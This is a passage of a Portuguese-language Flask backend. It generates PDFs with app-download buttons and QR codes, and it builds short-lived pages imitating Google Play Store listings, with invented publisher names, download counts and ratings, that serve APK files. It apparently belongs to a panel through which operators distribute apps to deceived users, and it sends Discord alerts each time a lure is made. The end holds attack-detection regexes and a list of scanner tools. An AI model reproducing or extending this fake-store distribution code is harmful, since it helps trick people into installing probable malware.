    c.setFillColorRGB(*bg)
    c.rect(0, 0, PAGE_W, PAGE_H, fill=1, stroke=0)

    for el in elements:
        t = el.get('type', '')
        try:
            cx = float(el.get('x', 0))
            cy = float(el.get('y', 0))
            cw = max(float(el.get('w', 50)), 1)
            ch = max(float(el.get('h', 20)), 1)
            x, y, w, h = to_pdf(cx, cy, cw, ch)

            if t == 'text':
                raw   = str(el.get('text', ''))[:1000]
                fsize = min(max(float(el.get('font_size', 14)), 4), 200)
                bold  = bool(el.get('bold', False))
                color = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('color', '#000000')))[:7] or '#000000'
                align = el.get('align', 'left')
                font  = 'Helvetica-Bold' if bold else 'Helvetica'
                c.setFillColorRGB(*_hex_rgb(color))
                c.setFont(font, fsize)
                lines = raw.split('\n')
                for i, line in enumerate(lines[:60]):
                    ly = y + h - fsize * (i + 1) + 2
                    if ly < y - 2:
                        break
                    if align == 'center':
                        c.drawCentredString(x + w / 2, ly, line)
                    elif align == 'right':
                        c.drawRightString(x + w, ly, line)
                    else:
                        c.drawString(x, ly, line)

            elif t == 'image':
                raw_id  = re.sub(r'[^a-zA-Z0-9._-]', '', str(el.get('img_id', '')))[:60]
                img_path = os.path.join(pdf_folder, f'img_{raw_id}')
                if os.path.exists(img_path):
                    preserve = bool(el.get('keep_ratio', True))
                    c.drawImage(ImageReader(img_path), x, y, w, h,
                                mask='auto', preserveAspectRatio=preserve, anchor='c')

            elif t == 'qr':
                fg_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('fg', '#000000')))[:7] or '#000000'
                bg_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('bg', '#ffffff')))[:7] or '#ffffff'
                fg_t   = tuple(int(fg_hex.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
                bg_t   = tuple(int(bg_hex.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
                qr = qrcode_lib.QRCode(error_correction=qrcode_lib.constants.ERROR_CORRECT_H, box_size=10, border=2)
                qr.add_data(download_url)
                qr.make(fit=True)
                img = qr.make_image(fill_color=fg_t, back_color=bg_t)
                buf = io.BytesIO()
                img.save(buf, format='PNG')
                buf.seek(0)
                c.drawImage(ImageReader(buf), x, y, w, h)

            elif t == 'button':
                label    = str(el.get('label', 'BAIXAR APLICATIVO'))[:50]
                btn_bg   = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('bg',         '#16a34a')))[:7] or '#16a34a'
                btn_tc   = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('text_color', '#ffffff')))[:7] or '#ffffff'
                btn_fsize= min(max(float(el.get('font_size', 13)), 6), 60)
                radius   = min(h / 3, 10)
                c.setFillColorRGB(*_hex_rgb(btn_bg))
                c.roundRect(x, y, w, h, radius, fill=1, stroke=0)
                c.setFillColorRGB(*_hex_rgb(btn_tc))
                c.setFont('Helvetica-Bold', btn_fsize)
                c.drawCentredString(x + w / 2, y + (h - btn_fsize) / 2 + 1, label)
                c.linkURL(download_url, (x, y, x + w, y + h), relative=0)

            elif t == 'video':
                raw_id   = re.sub(r'[^a-zA-Z0-9._-]', '', str(el.get('img_id', '')))[:60]
                video_url= str(el.get('url', ''))[:500]
                img_path  = os.path.join(pdf_folder, f'img_{raw_id}')
                if os.path.exists(img_path):
                    c.drawImage(ImageReader(img_path), x, y, w, h, mask='auto', preserveAspectRatio=False)
                else:
                    c.setFillColorRGB(0.1, 0.1, 0.1)
                    c.rect(x, y, w, h, fill=1, stroke=0)
                # play icon
                r2  = min(w, h) * 0.17
                cx2 = x + w / 2
                cy2 = y + h / 2
                c.setFillColorRGB(1, 1, 1)
                c.circle(cx2, cy2, r2, fill=1, stroke=0)
                c.setFillColorRGB(0.1, 0.1, 0.1)
                p2 = c.beginPath()
                p2.moveTo(cx2 - r2 * 0.3, cy2 + r2 * 0.45)
                p2.lineTo(cx2 + r2 * 0.55, cy2)
                p2.lineTo(cx2 - r2 * 0.3, cy2 - r2 * 0.45)
                p2.close()
                c.drawPath(p2, fill=1, stroke=0)
                if video_url:
                    c.linkURL(video_url, (x, y, x + w, y + h), relative=0)

            elif t == 'rect':
                fill_hex   = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('fill', '#cccccc')))[:7] or '#cccccc'
                border_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('border', '')))[:7]
                bw         = float(el.get('border_width', 1))
                radius_r   = float(el.get('radius', 0))
                c.setFillColorRGB(*_hex_rgb(fill_hex))
                has_border = bool(border_hex)
                if has_border:
                    c.setStrokeColorRGB(*_hex_rgb(border_hex))
                    c.setLineWidth(bw)
                if radius_r > 0:
                    c.roundRect(x, y, w, h, radius_r, fill=1, stroke=1 if has_border else 0)
                else:
                    c.rect(x, y, w, h, fill=1, stroke=1 if has_border else 0)

            elif t == 'ellipse':
                fill_hex   = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('fill', '#cccccc')))[:7] or '#cccccc'
                border_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('border', '')))[:7]
                bw         = float(el.get('border_width', 1))
                c.setFillColorRGB(*_hex_rgb(fill_hex))
                has_border = bool(border_hex)
                if has_border:
                    c.setStrokeColorRGB(*_hex_rgb(border_hex))
                    c.setLineWidth(bw)
                c.ellipse(x, y, x + w, y + h, fill=1, stroke=1 if has_border else 0)

            elif t == 'line':
                fill_hex = re.sub(r'[^a-fA-F0-9#]', '', str(el.get('fill', '#000000')))[:7] or '#000000'
                c.setStrokeColorRGB(*_hex_rgb(fill_hex))
                c.setLineWidth(h)
                c.line(x, y + h / 2, x + w, y + h / 2)

        except Exception:
            continue

    c.showPage()
    c.save()



@app.route('/pdf/editor')
def pdf_editor_page():
    if 'username' not in session:
        return redirect(url_for('index'))
    db = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')
    builds = []
    seen = set()
    for uname, udata in db['users'].items():
        if current_role == 'operator' and uname != current_user:
            continue
        if current_role == 'admin' and udata.get('team_id') != current_team:
            continue
        for b in udata.get('builds', []):
            if b.get('status') == 'concluido' and b.get('build_id') not in seen:
                seen.add(b['build_id'])
                builds.append({'build_id': b['build_id'], 'app_name': b.get('app_name', 'App')})
    if current_role == 'owner':
        builds = []
        seen = set()
        for uname, udata in db['users'].items():
            for b in udata.get('builds', []):
                if b.get('status') == 'concluido' and b.get('build_id') not in seen:
                    seen.add(b['build_id'])
                    builds.append({'build_id': b['build_id'], 'app_name': b.get('app_name', 'App')})
    return render_template('pdf_editor.html', builds=builds, username=current_user)


@app.route('/pdf/upload-image', methods=['POST'])
def pdf_upload_image():
    if 'username' not in session:
        return jsonify({'success': False}), 401
    if 'file' not in request.files:
        return jsonify({'success': False, 'message': 'Nenhum arquivo'}), 400
    f = request.files['file']
    if not f.filename:
        return jsonify({'success': False, 'message': 'Arquivo vazio'}), 400
    ext = os.path.splitext(secure_filename(f.filename))[1].lower()
    if ext not in ('.png', '.jpg', '.jpeg', '.gif', '.webp'):
        return jsonify({'success': False, 'message': 'Formato nao suportado'}), 400
    img_id = secrets.token_hex(12) + ext
    img_path = os.path.join(app.config['PDF_FOLDER'], f'img_{img_id}')
    f.save(img_path)
    return jsonify({'success': True, 'img_id': img_id, 'img_url': f'/pdf/image/{img_id}'})


@app.route('/pdf/image/<img_id>')
def pdf_get_image(img_id):
    if 'username' not in session:
        return jsonify({'error': 'Login necessario'}), 401
    img_id = re.sub(r'[^a-zA-Z0-9._-]', '', img_id)[:60]
    img_path = os.path.join(app.config['PDF_FOLDER'], f'img_{img_id}')
    if not os.path.exists(img_path):
        return jsonify({'error': 'Imagem nao encontrada'}), 404
    ext = os.path.splitext(img_id)[1].lower().lstrip('.')
    mime = {'png': 'image/png', 'jpg': 'image/jpeg', 'jpeg': 'image/jpeg',
            'gif': 'image/gif', 'webp': 'image/webp'}.get(ext, 'image/png')
    return send_file(img_path, mimetype=mime)


@app.route('/pdf/qr-preview')
def pdf_qr_preview():
    if 'username' not in session:
        return jsonify({'error': 'Login necessario'}), 401
    import qrcode as qrcode_lib
    import io
    fg_hex = re.sub(r'[^a-fA-F0-9#]', '', request.args.get('fg', '#000000'))[:7] or '#000000'
    bg_hex = re.sub(r'[^a-fA-F0-9#]', '', request.args.get('bg', '#ffffff'))[:7] or '#ffffff'
    fg_t = tuple(int(fg_hex.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    bg_t = tuple(int(bg_hex.lstrip('#')[i:i+2], 16) for i in (0, 2, 4))
    qr = qrcode_lib.QRCode(error_correction=qrcode_lib.constants.ERROR_CORRECT_M, box_size=4, border=2)
    qr.add_data('https://www.europass-ice.site')
    qr.make(fit=True)
    img = qr.make_image(fill_color=fg_t, back_color=bg_t)
    buf = io.BytesIO()
    img.save(buf, format='PNG')
    buf.seek(0)
    return send_file(buf, mimetype='image/png')


@app.route('/pdf/generate-advanced', methods=['POST'])
def pdf_generate_advanced():
    if 'username' not in session:
        return jsonify({'success': False, 'message': 'Login necessario'}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({'success': False, 'message': 'Dados invalidos'}), 400

    build_id    = re.sub(r'[^a-zA-Z0-9_-]', '', str(data.get('build_id', '')))[:50]
    bg_color    = re.sub(r'[^a-fA-F0-9#]',  '', str(data.get('bg_color', '#ffffff')))[:7] or '#ffffff'
    elements    = data.get('elements', [])
    expire_days = min(int(data.get('expire_days', 30) or 30), 365)
    pdf_title_m = str(data.get('pdf_title', 'App'))[:100]

    if not build_id or not isinstance(elements, list):
        return jsonify({'success': False, 'message': 'Dados invalidos'}), 400

    db           = load_data()
    current_user = session['username']
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')

    build_found = False
    app_name    = 'App'
    for uname, udata in db['users'].items():
        if current_role == 'operator' and uname != current_user:
            continue
        if current_role == 'admin' and udata.get('team_id') != current_team:
            continue
        for b in udata.get('builds', []):
            if b.get('build_id') == build_id and b.get('status') == 'concluido':
                build_found = True
                app_name    = b.get('app_name', 'App')
                break
        if build_found:
            break
    if not build_found and current_role == 'owner':
        for uname, udata in db['users'].items():
            for b in udata.get('builds', []):
                if b.get('build_id') == build_id and b.get('status') == 'concluido':
                    build_found = True
                    app_name    = b.get('app_name', 'App')
                    break
            if build_found:
                break
    if not build_found:
        return jsonify({'success': False, 'message': 'Build nao encontrado'}), 404

    dl_token   = secrets.token_hex(24)
    expires_at = (datetime.utcnow() + timedelta(days=expire_days)).isoformat()
    tokens     = _load_pdf_tokens()
    tokens[dl_token] = {
        'build_id': build_id, 'app_name': app_name,
        'created_by': current_user, 'created_at': datetime.utcnow().isoformat(),
        'expires_at': expires_at, 'downloads': 0, 'type': 'pdf_advanced'
    }
    _save_pdf_tokens(tokens)

    download_url = f'https://www.europass-ice.site/pub/{dl_token}'
    pdf_id       = secrets.token_hex(12)
    pdf_path     = os.path.join(app.config['PDF_FOLDER'], f'{pdf_id}.pdf')

    try:
        _render_advanced_pdf(pdf_path, bg_color, elements, download_url, app.config['PDF_FOLDER'])
    except Exception as e:
        return jsonify({'success': False, 'message': f'Erro ao gerar PDF: {str(e)}'}), 500

    add_history(current_user, 'Gerar PDF Editor', f'PDF editor para {app_name}')
    _append_pdf_item({
        'pdf_id': pdf_id, 'pdf_url': f'/pdf/download/{pdf_id}',
        'pub_url': download_url, 'title': pdf_title_m or app_name,
        'app_name': app_name, 'created_by': current_user,
        'created_at': datetime.utcnow().isoformat(), 'expires_at': expires_at
    })

    try:
        send_discord_webhook(
            'PDF EDITOR GERADO',
            f'PDF editor criado por **{current_user}** para **{app_name}**',
            color=0x8b5cf6,
            fields=[
                {'name': 'App',       'value': app_name,       'inline': True},
                {'name': 'Operador',  'value': current_user,   'inline': True},
                {'name': 'Elementos', 'value': str(len(elements)), 'inline': True},
                {'name': 'Link',      'value': download_url,   'inline': False},
            ]
        )
    except Exception:
        pass

    return jsonify({'success': True, 'pdf_id': pdf_id,
                    'pdf_url': f'/pdf/download/{pdf_id}', 'pub_url': download_url})


def _cleanup_old_apks():
    while True:
        time.sleep(3600)
        cutoff = time.time() - 24 * 3600
        removed_apk = removed_pdf = 0

        output_folder = app.config.get('OUTPUT_FOLDER', '')
        if output_folder:
            try:
                for fname in os.listdir(output_folder):
                    fpath = os.path.join(output_folder, fname)
                    if os.path.isfile(fpath) and fname.endswith('.apk'):
                        if os.path.getmtime(fpath) < cutoff:
                            try:
                                os.remove(fpath)
                                removed_apk += 1
                            except Exception:
                                pass
            except Exception:
                pass

        pdf_folder = app.config.get('PDF_FOLDER', '')
        if pdf_folder:
            try:
                for fname in os.listdir(pdf_folder):
                    fpath = os.path.join(pdf_folder, fname)
                    if os.path.isfile(fpath) and fname.endswith('.pdf'):
                        if os.path.getmtime(fpath) < cutoff:
                            try:
                                os.remove(fpath)
                                removed_pdf += 1
                            except Exception:
                                pass
            except Exception:
                pass

        if removed_apk or removed_pdf:
            print(f'[cleanup] removidos: {removed_apk} APK(s), {removed_pdf} PDF(s) com mais de 48h')

_cleanup_thread = threading.Thread(target=_cleanup_old_apks, daemon=True)
_cleanup_thread.start()


# ===== TELA PLAY STORE =====
import unicodedata as _unicodedata

@app.route('/play/<slug>')
def play_page(slug):
    slug = re.sub(r'[^a-zA-Z0-9_-]', '', slug)[:80]
    db = load_data()
    pages = db.get('play_pages', {})
    page = pages.get(slug)
    if not page:
        return '<html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>Página não encontrada.</h2></body></html>', 404
    # 24h expiry
    created = page.get('created_at', '')
    if created:
        try:
            from datetime import datetime, timedelta
            ct = datetime.fromisoformat(created)
            if datetime.now() - ct > timedelta(hours=24):
                del pages[slug]
                save_data(db)
                return '<html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>Esta página expirou.</h2></body></html>', 404
        except:
            pass
    return render_template('play_page.html', app=page)

@app.route('/play-download/<slug>')
def play_download(slug):
    slug = re.sub(r'[^a-zA-Z0-9_-]', '', slug)[:80]
    db = load_data()
    pages = db.get('play_pages', {})
    page = pages.get(slug)
    if not page:
        return jsonify({'error': 'Não encontrado'}), 404
    build_id = re.sub(r'[^a-zA-Z0-9_]', '', str(page.get('build_id', '')))[:50]
    output_folder = app.config['OUTPUT_FOLDER']
    file_path = os.path.join(output_folder, f'{build_id}.apk')
    if not os.path.exists(file_path):
        return '<html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>APK não disponível no momento.</h2></body></html>', 404
    display_name = re.sub(r'[^a-zA-Z0-9 _-]', '', page.get('app_name', 'app')) + '.apk'
    return send_file(file_path, as_attachment=True, download_name=display_name)

@app.route('/api/play-pages', methods=['GET'])
def get_play_pages():
    if 'username' not in session:
        return jsonify([]), 401
    db = load_data()
    pages = db.get('play_pages', {})
    output_folder = app.config['OUTPUT_FOLDER']
    # Remove expired pages (24h)
    now = datetime.now()
    expired = []
    for slug, page in list(pages.items()):
        created = page.get('created_at', '')
        if created:
            try:
                ct = datetime.fromisoformat(created)
                if now - ct > timedelta(hours=24):
                    expired.append(slug)
            except:
                pass
    for slug in expired:
        del pages[slug]
    if expired:
        save_data(db)
    current_user = session.get('username', '')
    is_admin = session.get('role') in ('admin', 'owner')
    result = []
    for slug, page in pages.items():
        # Only show pages created by current user (admin sees all)
        if not is_admin and page.get('created_by', '') != current_user:
            continue
        build_id = re.sub(r'[^a-zA-Z0-9_]', '', str(page.get('build_id', '')))[:50]
        apk_exists = os.path.exists(os.path.join(output_folder, f'{build_id}.apk'))
        # Calculate remaining time
        remaining = '24h'
        created = page.get('created_at', '')
        if created:
            try:
                ct = datetime.fromisoformat(created)
                elapsed = now - ct
                remaining_secs = 86400 - elapsed.total_seconds()
                if remaining_secs <= 0:
                    continue
                h = int(remaining_secs // 3600)
                m = int((remaining_secs % 3600) // 60)
                remaining = f'{h}h{m}m'
            except:
                pass
        result.append({**page, 'apk_available': apk_exists, 'remaining': remaining})
    result.sort(key=lambda x: x.get('created_at', ''), reverse=True)
    return jsonify(result)


@app.route('/api/play-icon-upload', methods=['POST'])
def upload_play_icon():
    if 'username' not in session:
        return jsonify({'success': False}), 401
    f = request.files.get('icon')
    if not f or not f.filename:
        return jsonify({'success': False, 'message': 'Nenhum arquivo'}), 400
    ext = os.path.splitext(secure_filename(f.filename))[1].lower()
    if ext not in ('.png', '.jpg', '.jpeg', '.gif', '.webp'):
        return jsonify({'success': False, 'message': 'Formato invalido (use PNG, JPG, GIF ou WebP)'}), 400
    icons_dir = os.path.join(BASE_DIR, 'static', 'img', 'play_icons')
    os.makedirs(icons_dir, exist_ok=True)
    fname = str(uuid.uuid4()) + ext
    fpath = os.path.join(icons_dir, fname)
    f.save(fpath)
    return jsonify({'success': True, 'url': '/static/img/play_icons/' + fname})

@app.route('/api/play-pages', methods=['POST'])
def create_play_page():
    if 'username' not in session:
        return jsonify({'success': False}), 401
    data = request.get_json(force=True, silent=True) or {}
    app_name = str(data.get('app_name', '')).strip()[:80]
    build_id = re.sub(r'[^a-zA-Z0-9_]', '', str(data.get('build_id', '')))[:50]
    icon_url = str(data.get('icon_url', ''))[:2000]
    publisher = str(data.get('publisher', 'Desenvolvedor')).strip()[:80]
    downloads = str(data.get('downloads', '1K+')).strip()[:20]
    rating = str(data.get('rating', '4.5')).strip()[:8]
    button_text = str(data.get('button_text', 'Instalar')).strip()[:20]

    if not app_name or not build_id:
        return jsonify({'success': False, 'message': 'Nome do app e Build ID são obrigatórios'}), 400

    slug = _unicodedata.normalize('NFKD', app_name).encode('ascii', 'ignore').decode('ascii')
    slug = re.sub(r'[^a-z0-9]+', '-', slug.lower()).strip('-')
    if not slug:
        slug = build_id[:20]

    db = load_data()
    if 'play_pages' not in db:
        db['play_pages'] = {}

    base_slug = slug
    counter = 1
    while slug in db['play_pages']:
        slug = f'{base_slug}-{counter}'
        counter += 1

    db['play_pages'][slug] = {
        'slug': slug,
        'build_id': build_id,
        'app_name': app_name,
        'icon_url': icon_url,
        'publisher': publisher,
        'downloads': downloads,
        'rating': rating,
        'button_text': button_text,
        'created_by': session['username'],
        'created_at': datetime.now().isoformat()
    }
    save_data(db)
    # Discord webhook notification
    try:
        send_discord_webhook('TELA PLAY Criada', f"**{app_name}**\nOperador: {session['username']}\nURL: https://www.europass-ice.site/play/{slug}", 0x01875f)
    except:
        pass
    return jsonify({'success': True, 'slug': slug, 'url': f'/play/{slug}'})

@app.route('/api/play-pages/<slug>', methods=['DELETE'])
def delete_play_page(slug):
    if 'username' not in session:
        return jsonify({'success': False}), 401
    slug = re.sub(r'[^a-zA-Z0-9_-]', '', slug)[:80]
    db = load_data()
    if 'play_pages' not in db or slug not in db.get('play_pages', {}):
        return jsonify({'success': False, 'message': 'Não encontrado'}), 404
    del db['play_pages'][slug]
    save_data(db)
    return jsonify({'success': True})

# ===== FIM TELA PLAY STORE =====

# ===== DETECCAO DE ATAQUES WEB =====
import re as _re
_ATTACK_PATTERNS = [
    _re.compile(r'(?i)(\.\./|%2e%2e|%252e%252e)'),
    _re.compile(r'(?i)(union.{1,20}select|drop.{1,10}table|insert.{1,10}into)'),
    _re.compile(r'(?i)(etc/passwd|etc/shadow|\.env|\.git/config)'),
    _re.compile(r'(?i)(eval\(|base64_decode|system\(|exec\()'),
]
_SCANNER_UA = _re.compile(r'(?i)(sqlmap|nikto|masscan|nmap|dirsearch|nuclei|gobuster|acunetix|nessus|zgrab|hydra)')
_web_alert_cache = {}

# CSRF protection for state-changing requests
_CSRF_EXEMPT_PATHS = {'/login', '/api/register', '/logout'}

@app.before_request
def csrf_protect():
    if request.method not in ('POST', 'PUT', 'DELETE', 'PATCH'):
        return None
    if request.path in _CSRF_EXEMPT_PATHS:
        return None
    if request.path.startswith('/api/pix/status'):
        return None
    # Caller must be authenticated AND present a matching token
    if 'username' not in session:
        return None  # let the route handler return its own 401
    expected = session.get('csrf_token', '')
    given = request.headers.get('X-CSRF-Token', '') or (request.form.get('csrf_token', '') if not request.is_json else '')
    if request.is_json:
        try:
            j = request.get_json(silent=True) or {}
            given = given or j.get('csrf_token', '')
        except Exception:
            pass
    if not expected or not given or not _csrf_compare(expected, given):
        return jsonify({"error": "CSRF token invalido"}), 403
    return None

def _csrf_compare(a, b):
    import hmac
    return hmac.compare_digest(str(a), str(b))


@app.before_request
def detect_web_attacks():
    ip = get_client_ip()
    path = request.path
    ua = request.headers.get('User-Agent', '')
    full_url = request.url
    now = time.time()

    def _cooldown(key, secs=300):
        last = _web_alert_cache.get(key, 0)
        if now - last < secs:
            return False
        _web_alert_cache[key] = now
        return True

    # Scanner por User-Agent
    if _SCANNER_UA.search(ua) and _cooldown(f'ua_{ip}', 600):
        send_discord_webhook(
            "SCANNER DETECTADO",
            f"Ferramenta de scan identificada no site.",
            color=0xf59e0b,
            fields=[
                {"name": "IP", "value": ip, "inline": True},
                {"name": "Path", "value": path[:80], "inline": True},
                {"name": "User-Agent", "value": ua[:120], "inline": False}
            ]
        )

    # Tentativa de path traversal / injecao
    for pat in _ATTACK_PATTERNS:
        if pat.search(full_url) or pat.search(ua):
            if _cooldown(f'atk_{ip}', 120):
                send_discord_webhook(
                    "TENTATIVA DE ATAQUE WEB",
                    f"Padrao malicioso detectado na requisicao.",
                    color=0xb91c1c,
                    fields=[
                        {"name": "IP", "value": ip, "inline": True},
                        {"name": "Metodo", "value": request.method, "inline": True},
                        {"name": "Path", "value": path[:100], "inline": False},
                        {"name": "URL completa", "value": full_url[:150], "inline": False}
                    ]
                )
            break


# ── ATTACK BODY LOGGER ───────────────────────────────────────────────────────
# Loga corpo completo de POSTs suspeitos e respostas de erro para o monitor
_ATTACK_LOG = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'logs', 'gangstar_attacks.log')
os.makedirs(os.path.dirname(_ATTACK_LOG), exist_ok=True)
_ATTACK_LOG_PATHS = {'/login', '/api/register', '/api/pix/status'}

import logging as _logging
_atk_logger = _logging.getLogger('gangstar_attacks')
if not _atk_logger.handlers:
    _atk_handler = _logging.FileHandler(_ATTACK_LOG)
    _atk_handler.setFormatter(_logging.Formatter('%(message)s'))
    _atk_logger.addHandler(_atk_handler)
    _atk_logger.setLevel(_logging.INFO)

@app.after_request
def log_attack_details(response):
    import json as _json
    try:
        ip = get_client_ip()
        path = request.path
        method = request.method
        status = response.status_code
        ua = request.headers.get('User-Agent', '')[:200]
        referer = request.headers.get('Referer', '')[:150]
        ct = request.content_type or ''

        # Captura qualquer POST ou qualquer resposta de erro (4xx/5xx)
        # Loga: todo POST + todo erro 4xx/5xx
        is_post = method == 'POST'
        is_error = status >= 400

        if not (is_post or is_error):
            return response

        # Tenta capturar o body (JSON ou form)
        body_str = ''
        if is_post and ct:
            try:
                raw = request.get_data(as_text=True)
                if 'json' in ct.lower() and raw:
                    try:
                        parsed = _json.loads(raw)
                        # Mascara senhas
                        for k in ('password', 'senha', 'pass', 'pwd', 'secret'):
                            if k in parsed:
                                parsed[k] = '***'
                        body_str = _json.dumps(parsed, ensure_ascii=False)[:500]
                    except Exception:
                        body_str = raw[:300]
                elif 'form' in ct.lower() and raw:
                    body_str = raw[:300]
            except Exception:
                body_str = ''

        # Captura resposta para erros
        resp_body = ''
        if is_error:
            try:
                resp_body = response.get_data(as_text=True)[:200]
            except Exception:
                pass

        import datetime as _dt
        record = {
            'ts': _dt.datetime.utcnow().isoformat(),
            'ip': ip,
            'method': method,
            'path': path,
            'status': status,
            'ua': ua,
            'referer': referer,
            'ct': ct,
            'body': body_str,
            'resp': resp_body,
        }
        _atk_logger.info(_json.dumps(record, ensure_ascii=False))
    except Exception:
        pass
    return response

@app.errorhandler(404)
def not_found(e):
    ip = get_client_ip()
    path = request.path
    # So alerta para paths suspeitos (nao erros comuns de navegacao)
    if any(x in path.lower() for x in ['.php', '.env', 'admin', 'wp-', '.git', 'config', 'backup']):
        key = f'404_{ip}'
        now = time.time()
        if now - _web_alert_cache.get(key, 0) > 180:
            _web_alert_cache[key] = now
            send_discord_webhook(
                "RECONHECIMENTO DETECTADO",
                f"IP tentando acessar caminho sensivel inexistente.",
                color=0xf59e0b,
                fields=[
                    {"name": "IP", "value": ip, "inline": True},
                    {"name": "Path tentado", "value": path, "inline": True}
                ]
            )
    from flask import jsonify
    return jsonify({"error": "Not found"}), 404

@app.errorhandler(500)
def server_error(e):
    ip = get_client_ip()
    send_discord_webhook(
        "ERRO 500 INTERNO",
        f"Erro interno no servidor - verificar logs.",
        color=0xb91c1c,
        fields=[
            {"name": "IP", "value": ip, "inline": True},
            {"name": "Path", "value": request.path, "inline": True},
            {"name": "Erro", "value": str(e)[:200], "inline": False}
        ]
    )
    from flask import jsonify
    return jsonify({"error": "Internal server error"}), 500
# ===== FIM DETECCAO =====

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5000)